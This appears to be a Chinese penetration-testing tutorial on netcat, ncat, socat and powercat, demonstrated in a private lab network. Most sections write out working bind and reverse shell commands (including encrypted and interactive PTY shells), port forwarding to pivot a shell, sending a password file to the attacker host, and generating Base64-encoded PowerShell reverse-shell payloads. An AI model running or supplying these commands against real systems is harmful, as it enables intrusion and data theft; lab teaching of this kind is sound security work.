天天看點

滲透測試中幾隻“貓”的用法

來自 | 黑白之道

原創投稿作者:Nicolus

滲透測試過程中會用到一些系統shell工具,有幾隻長得很像,分别是netcat(nc), nmap-cat(ncat), socat, powercat. 都是跟“貓”相關的,這幾隻“貓”上得了庭堂,下得了廚房,不對,是上可賣萌,下可販賤,最近彙總了下這幾隻“貓”的用法,分享如下。

環境資訊:

攻擊機:KALI 192.168.56.102

目标機:Win7 192.168.56.101

ubuntu 192.168.56.103

1.netcat

字nc,号瑞士軍刀,簡潔而不簡單,擅長以最簡單的招式破解最牢固的系統。這隻“貓”最常見,大家都很熟悉了。執行nc -h 可以檢視幫助資訊。

最常用用法:

(1)socket連接配接:

作為用戶端連接配接一個主機:nc -nv 192.168.56.101 8888。

作為服務端提供一個連接配接:nc -nvlp 8888。

【非互動式shell,此時可以直接聊“騷”】

(2)傳輸檔案:

傳輸方:

nc -nv 192.168.56.101 8888

< /usr/share/windows-resources/powercat/powercat.ps1

(apt-get install powercat,之是以傳這個,因為後面要用到)

接收方:

nc -nvlp 8888 > d:\powercat.ps1

(3)掃描

TCP掃描:

nc -nv -z -w 1 192.168.56.101 3388-3390 。(看上面的幫助資訊,-z是用于掃描的,-w用于設定逾時時間)

UDP掃描:

預設是TCP掃描,在上述指令上增加一個-u 參數即可使用UDP掃描:

nc -nv -z -w 1 -u 192.168.56.101 53 161 162

(4)建立shell

bind shell: 正向連接配接(攻擊機去主動連接配接)

目标機執行 nc -nvlp 192.168.56.101 4444 -e cmd.exe

攻擊機執行 nc -nv 192.168.56.101 4444 得到一個cmd.

reverse shell: 反向連接配接(攻擊機等着被連接配接)

攻擊機執行:nc -nvlp 4444

目标機執行:nc -nv 192.168.56.102 4444 -e cmd.exe

(5)-c與-L

KALI版本的nc比win7版本的多一個-c,可以直接發指令,而不是像-e一樣是一個shell檔案,win7版本的多一個-L,可以一直監聽,而-l會在連接配接中斷後不再監聽。(KALI版本是有一個-k選項的,但是并沒有起作用,這個參數在下一部分中的ncat中被優化)。

滲透測試中幾隻“貓”的用法
滲透測試中幾隻“貓”的用法

【TIPS:這時KALI變為向win7傳送資料了,攻防目标轉換,在目标機為Linux時可使用】

(6)其他功能

nc還可以發掘很多其他功能,在LINUX之間可以利用tar傳輸目錄、傳輸視訊流、甚至克隆裝置等,有需要的可以找找網上的資料或參考下面的nmap-cat。

2. nmap-cat(ncat)

字ncat,号“21世紀的netcat”,這是nmap項目對原始的netcat(nc)進行的優化改進,但是并不共享源代碼,增加了一些新功能,調整了一些參數。

官方cookbook位址:

https://nmap.org/ncat/guide/index.html

安裝:apt-get install ncat (Windows版本的直接帶了,在nmap的安裝目錄下)

【裝完發現“20世紀的nc”執行程式被替換成了“21世紀的ncat”,如果想再使用老版本的nc,可以執行/bin/nc.traditional,但是後面我們仍然執行ncat,以區分nc】

ncat可以實作上述nc的所有功能,相同部分的用法完全相同,這裡再拓展一下用法(有nc也支援的,也有新的,通過ncat -h檢視)。

(1)搭建簡易http server

用戶端用浏覽器通路這個檔案即可(每用戶端可通路一次,因為本質上還是監聽端口與連接配接端口)。

滲透測試中幾隻“貓”的用法

(2)聊天室模式(--chat)

滲透測試中幾隻“貓”的用法

(3)檔案傳輸

仍以powercat.ps1為例

接收方win7:

ncat.exe -l > powercat.ps1

【TIPS】 -l 監聽模式如果不跟端口号,則預設使用31337

發送方KALI:ncat --send-only 192.168.56.101 < powercat.ps1

有兩個參數--send-only和--receive-only,就是不管對方是否接收和發送了資料,我隻發送和接收,不管對方是否接收或發送成功。

反過來,類似于反彈shell 的發送方監聽:

發送方KALI:

ncat -l --send-only < powercat.ps1

接收方Win7:

ncat 192.168.56.102 > powercat.ps1

【TIPS】不管你讓誰連誰,都得是監聽方先啟動。一般反彈形式的比較常見,因為一般安全裝置會對入向流量攔截,但是出向流量不太好攔截。

利用管道傳輸多個檔案:

接收方ubuntu: ncat -l | tar xzv

發送方KALI:

tar czv| ncat --send-only 192.168.56.103

發送一個磁盤鏡像(前提是處于解除安裝或隻讀挂載模式):

接收方ubuntu:

ncat -l | bzip2 -d > KALI-hda.image

發送方KALI:

cat /dev/hda | bzip2 | ncat --send-only 192.168.56.103

反向傳輸同上。

(4)代理模式--broker

如果win7隻能通路ubuntu,但是不能通路KALI,而ubuntu可以通路兩個,該怎樣讓KALI給win7傳輸檔案呢?

ubuntu: ncat -l --broker

win7: ncat.exe ubuntu > powercat.ps1

KALI:

ncat --send-only ubuntu < powercat.ps1

【TIPS】broker伺服器不緩存兩個機器的之間的流量。broker也不會手動斷開連接配接(對比于兩個機器直傳時,是傳輸結束兩邊的連接配接就直接拆除了),傳輸結束後需要win7手動斷開連結。

(5)加密流量

很簡單,在連接配接或傳輸檔案時加上--ssl參數即可,以傳輸檔案的指令為例:

接收方win7:

ncat.exe -l --ssl > powercat.ps1

發送方KALI:

ncat --send-only 192.168.56.101 --ssl < powercat.ps1

【TIPS】預設是用一個1024位的RSA 密鑰自動生成證書。

3. socat

socat,意思是之前的cat,just so so(開玩笑),但是看人家的描述是帶兩個加号滴!

滲透測試中幾隻“貓”的用法

KALI自帶,其他系統下載下傳連結:

http://www.dest-unreach.org/socat/download/socat-1.7.3.4.tar.gz

tar zxvf socat-1.7.3.4.tar.gz

cd socat-1.7.3.4

./configure

make && sudo make install

(1)socket用戶端與server

Server端:socat TCP4-LISTEN:8888 -

用戶端:socat - TCP4:<server’s IP>:8888

【TIPS】“-”前後都有空格,表示标準輸入輸出

(2)檔案傳輸

這次傳遞seclists中的一個密碼檔案到目标機ubuntu上。

正向傳輸:

ubuntu監聽:

remnux@remnux:~/socat-1.7.3.4$sudo socat TCP4-LISTEN:8888 - >> 1.txt

【TIPS】“-”前後都有空格,表示标準輸入輸出

KALI發送:

root@kali:#

socat

TCP4:192.168.56.103:8888 file:darkweb2017-top100.txt

類似ncat,也做一個反向傳輸:

KALI監聽:

socat

TCP4-LISTEN:8888,fork file:darkweb2017-top100.txt

ubuntu擷取:

socat

TCP4:192.168.56.102:8888 file:received_password.txt,create

參數解釋:服務端的fork,是建立一個子程序,允許多個連接配接,跟nc中的-k類似;接收方的file後跟個create表示如果沒有則建立。

滲透測試中幾隻“貓”的用法
滲透測試中幾隻“貓”的用法

(指令比nc和ncat複雜多了吧?但其實也有規律,如果是用戶端就是TCP4:IP:PORT file:xxx 如果是server端就是TCP4-LISTEN:PORT file:xxxx)

(3)建立shell

正向shell:

ubuntu監聽:

socat TCP4-LISTEN:8888 EXEC:/bin/bash

KALI連接配接:

socat TCP4:192.168.56.103:8888 -

滲透測試中幾隻“貓”的用法

反向shell:

KALI監聽:socat -dd TCP4-LISTEN:8888 -

【TIPS】由socat -h 得知-d是檢視verbosity資訊的意思,可以使用1到4個d,越多越詳細,建議是使用兩個。

ubuntu連接配接:

socat

TCP4:192.168.56.102:8888 EXEC:/bin/bash

效果如下:

滲透測試中幾隻“貓”的用法

(4)互動式反彈shell

上述shell都是非互動式的,以下指令可以幫助在KALI上生成一個互動式的shell.

KALI:

socat

TCP4-LISTEN:8888 file:`tty`,raw,echo=0

ubuntu:

socat

TCP4:192.168.56.102:8888

EXEC:'bash -i',pty,stderr,setsid,sigint,sane

(5)加密反彈shell

利用openssl生成證書和秘鑰檔案:

openssl req -newkey rsa:2048 -nodes -keyout test.key -x509 -days 100 -out test.crt

合并為一個pem檔案:cat test.key test.crt > test.pem

KALI監聽:

socat

OPENSSL-LISTEN:8888,cert=test.pem,verify=0,fork file:`tty`,raw,echo=0

ubuntu連接配接:

socat

OPENSSL:192.168.56.102:8888,verify=0 EXEC:'bash -i',pty,stderr,setsid,sigint,sane

(6)端口轉發

KALI監聽:socat TCP-LISTEN:8888,fork -

ubuntu轉發:

socat

TCP-LISTEN:8888,fork TCP:192.168.56.102:8888

Win7連接配接ubuntu:

ncat.exe -nv 192.168.56.103 8888 -e cmd.exe

此時KALI 即擷取到win7的shell.

4. powercat

powercat即powershell cat,故名思義,是運作在powershell環境上的,我們測試環境以管理者身份運作Powershell。

在測試win7的powershell上執行Set-ExecutionPolicy Unrestricted 選擇Y設定為不限制執行。前面已經通過nc和ncat将該檔案傳輸過去了,也可以通過

https://github.com/besimorhino/powercat下載下傳。後進入powercat的下載下傳目錄執行Import-Module powercat.ps1,這樣後面可以直接使用powercat這個指令。

執行powercat -h,有兩個必選參數,-c是做為用戶端,-l 是監聽作為服務端。按上面的主要功能再測試下:

(1)建立Shell

Bind Shell:

Win7執行:

powercat -l -p 8888 -e cmd.exe

KALI執行:ncat -nv 192.168.56.101 8888

Reverse Shell:

KALI執行監聽:ncat -nvlp 8888

Win7執行:powercat -c 192.168.56.102 -p 8888 -e cmd.exe

【是不是已經駕輕就熟了,因為幾乎跟上面參數一樣啊,就是換換指令】

(2)檔案傳輸

上傳一個檔案到攻擊機KALI:

KALI執行:

ncat -nvlp 8888 > win7password.txt

Win7執行:

powercat -c 192.168.56.102 -p 8888 -i C:\win7password.txt

反過來,KALI上傳到Win7:

Win7執行:powercat -l -p 8888 -of C:\bt.txt

KALI執行:ncat -nv 192.168.56.101 8888 < bt4-password.txt

(3)端口轉發

powercat -l -p 8888 -r tcp:192.168.56.102:9999

(4)擁有一個互動式powershell

powercat -l 8888 -ep -rep

-ep:讓連接配接上來的用戶端擷取一個僞終端

-rep:保持連接配接,用戶端斷開的時候連結保持,可以下一次繼續連接配接。

【TIPS】這裡有個小坑,KALI連接配接上這個僞終端後,退出時直接ctrl+C退出,不要執行exit,如果執行exit的話會連WIN7的powershell一起退出,連接配接無法保持。

(5)本地生成payload

-g,生成一個payload,-ge 生成一個Base64編碼的payload

KALI監聽起來:ncat -nvlp 8888

生成本地payload,powercat -c 192.168.56.102 8888 -e cmd.exe -g > reverse.ps1

執行.\reverse.ps1

這時KALI擷取到反彈shell. 這個reverse.ps1大概有17KB大小,可以用記事本打開修改其内容調整連接配接參數。

再用-ge試下powercat -c 192.168.56.102 8888 -e cmd.exe -ge > reverse.ps1

這時會生成一個約46KB的Base64編碼的payload.當然無法直接執行這個ps1.

看powercat -h中的ge參數解釋,如果要執行,需要用指令powershell -E 跟上編碼過的代碼,但是你會發現這個代碼量太大了,直接在powershell裡根本粘貼不全,可以在ISE中粘貼執行。

5.小結

幾隻“貓”的主要功能介紹完了,說下老王的想法,最好用的是ncat,功能多而且相對于socat指令文法簡單一些,但是socat的某些功能是ncat不能代替的,如互動式終端。powercat也很好用,但前提需要你先把檔案下載下傳過去。

滲透測試中幾隻“貓”的用法